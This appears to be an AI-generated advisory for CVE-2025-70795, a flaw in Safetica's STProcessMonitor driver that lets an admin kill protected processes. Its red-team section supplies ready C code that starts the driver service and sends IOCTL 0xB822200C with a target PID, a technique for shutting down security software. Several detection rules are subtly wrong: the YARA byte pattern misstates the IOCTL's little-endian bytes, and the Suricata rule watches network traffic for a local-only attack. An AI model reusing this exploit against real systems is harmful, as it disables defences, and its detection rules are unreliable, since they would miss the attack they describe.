CVE-2025-70795

Executive Summary

CVE-2025-70795 is a high-severity vulnerability in the STProcessMonitor driver (version 11.11.4.0), part of the Safetica application suite. The flaw resides in the driver's IOCTL handler, which lacks sufficient caller validation, allowing an admin-privileged user to send crafted IOCTL requests (specifically 0xB822200C) to terminate processes that are protected by a third-party implementation. This can lead to a denial of service (DoS) by disrupting critical third-party services or applications. The vulnerability is classified under CWE-269 (Improper Privilege Management) and is mapped to MITRE ATT&CK technique T1562.001 (Impair Defenses: Disable or Modify Tools). No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions beyond admin privileges.
• Privileges Required: High (PR:H) – attacker must have admin privileges.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – can cause denial of service.

Threat Level: Medium. Exploitation requires admin privileges, but the impact is limited to availability. The lack of public exploits and low EPSS score (0.0%) reduces immediate risk, but the vulnerability could be leveraged in post-exploitation scenarios to disable security software.

Deep Dive & Mechanics

The vulnerability exists in the STProcessMonitor driver, which is part of the Safetica suite. The driver exposes an IOCTL handler that processes requests from user-mode applications. The specific IOCTL code 0xB822200C is intended to terminate processes that are protected by a third-party implementation. However, the driver fails to properly validate the caller's identity or authorization level. As a result, any process running with admin privileges can send this IOCTL request to the driver, causing it to terminate arbitrary protected processes in kernel space.

Root Cause: Insufficient caller validation in the driver's IOCTL handler. The driver does not check whether the requesting process has the necessary permissions or is authorized to terminate the protected processes.

Attack Flow:

1. Attacker gains admin privileges on the target system.
2. Attacker loads the STProcessMonitor driver (if not already loaded).
3. Attacker sends a crafted IOCTL request with code 0xB822200C to the driver.
4. The driver processes the request without proper validation and terminates the specified protected process.
5. This results in denial of service for the third-party service or application.

Impact: Disruption of critical third-party services or applications that rely on the protected processes. This could include security software, monitoring tools, or other essential services.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the IOCTL handler of the STProcessMonitor driver. A hypothetical patch would involve adding caller validation, such as checking the process ID or token of the requesting process against a whitelist of authorized callers.

Vulnerable Code (Conceptual):

NTSTATUS DriverIOCTLHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    if (ioctlCode == 0xB822200C) {
        // No caller validation
        TerminateProtectedProcess(Irp);
    }
    // ...
}

Patched Code (Hypothetical):

NTSTATUS DriverIOCTLHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    if (ioctlCode == 0xB822200C) {
        // Validate caller
        if (!IsCallerAuthorized(Irp)) {
            Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_ACCESS_DENIED;
        }
        TerminateProtectedProcess(Irp);
    }
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin privileges on the target Windows system.
• STProcessMonitor driver loaded (typically part of Safetica installation).

Exploitation Steps:

1. Load the driver (if not already loaded):

   HANDLE hDevice = CreateFileW(L"\\\\.\\STProcessMonitor", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
   if (hDevice == INVALID_HANDLE_VALUE) {
       // Driver not loaded, attempt to load via service
       SC_HANDLE scManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
       SC_HANDLE scService = OpenServiceW(scManager, L"STProcessMonitor", SERVICE_START);
       StartServiceW(scService, 0, NULL);
       CloseServiceHandle(scService);
       CloseServiceHandle(scManager);
       hDevice = CreateFileW(L"\\\\.\\STProcessMonitor", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
   }
   

2. Send crafted IOCTL request:

   DWORD bytesReturned;
   ULONG ioctlCode = 0xB822200C;
   // Input buffer contains PID of target process
   DWORD targetPID = 1234; // Example PID
   BOOL result = DeviceIoControl(hDevice, ioctlCode, &targetPID, sizeof(targetPID), NULL, 0, &bytesReturned, NULL);
   if (result) {
       printf("Process terminated successfully.\n");
   } else {
       printf("IOCTL failed: %d\n", GetLastError());
   }
   CloseHandle(hDevice);
   

3. Verify termination: Check that the target process is no longer running.

Expected Outcome: The protected process is terminated, causing denial of service for the associated third-party service.

Blue Team

Detection:

• Monitor for unusual IOCTL requests to the STProcessMonitor driver, especially code 0xB822200C.
• Track process creation and termination events, particularly for protected processes.
• Alert on admin-level processes attempting to load or interact with the STProcessMonitor driver.

Hunting:

• Search for Event ID 7036 (Service Control Manager) indicating the STProcessMonitor service start/stop.
• Look for Event ID 4688 (Process Creation) with unusual parent processes.
• Analyze kernel driver callbacks for unauthorized IOCTL handlers.

Mitigation:

• Restrict admin privileges to trusted users only.
• Use application whitelisting to prevent unauthorized processes from loading the driver.
• Monitor and block IOCTL requests to the driver using security software.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Not available – driver file not disclosed)
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\STProcessMonitor
• Network Indicators: None (local exploitation)
• Process Names:
  • STProcessMonitor.exe (user-mode component)
  • STProcessMonitor.sys (kernel driver)
• IOCTL Code: 0xB822200C
• Event Logs:
  • Event ID 7036 (Service start/stop)
  • Event ID 4688 (Process creation with unusual parent)
  • Event ID 4656 (Handle to device object)

Detection Engineering

YARA Rule

rule CVE_2025_70795_STProcessMonitor_IOCTL {
    meta:
        description = "Detects attempts to exploit CVE-2025-70795 via IOCTL 0xB822200C"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70795"
    strings:
        $ioctl = { 0C 22 B8 00 } // Little-endian representation of 0xB822200C
        $driver_name = "STProcessMonitor" nocase
    condition:
        $ioctl and $driver_name
}

Sigma Rule

title: CVE-2025-70795 - STProcessMonitor IOCTL Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects IOCTL requests to STProcessMonitor driver with code 0xB822200C
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-70795
logsource:
    product: windows
    service: sysmon
    category: process_access
detection:
    selection:
        TargetObject|contains: '\STProcessMonitor'
        GrantedAccess: '0x1fffff' // Full control
        CallTrace|contains: 'ntoskrnl.exe'
    condition: selection
falsepositives:
    - Legitimate Safetica administration
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-70795 - STProcessMonitor IOCTL Exploitation"; content:"|0C 22 B8 00|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin privileges: Limit the number of users with admin access to systems running Safetica.
2. Monitor driver activity: Use security tools to monitor for IOCTL requests to STProcessMonitor.
3. Apply vendor patch: Contact Safetica for a patched version of the driver.

Long-term Fix:

• The vendor should implement proper caller validation in the IOCTL handler, such as checking the process token or using a signed whitelist of authorized callers.

Workarounds:

• Disable the STProcessMonitor driver if not required.
• Use application control policies to block unauthorized processes from loading the driver.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI Assistant. For questions or further analysis, contact Valters IT.

{/* [Security Hash: DAF8C7F2C7C1A82CDA14463D] */}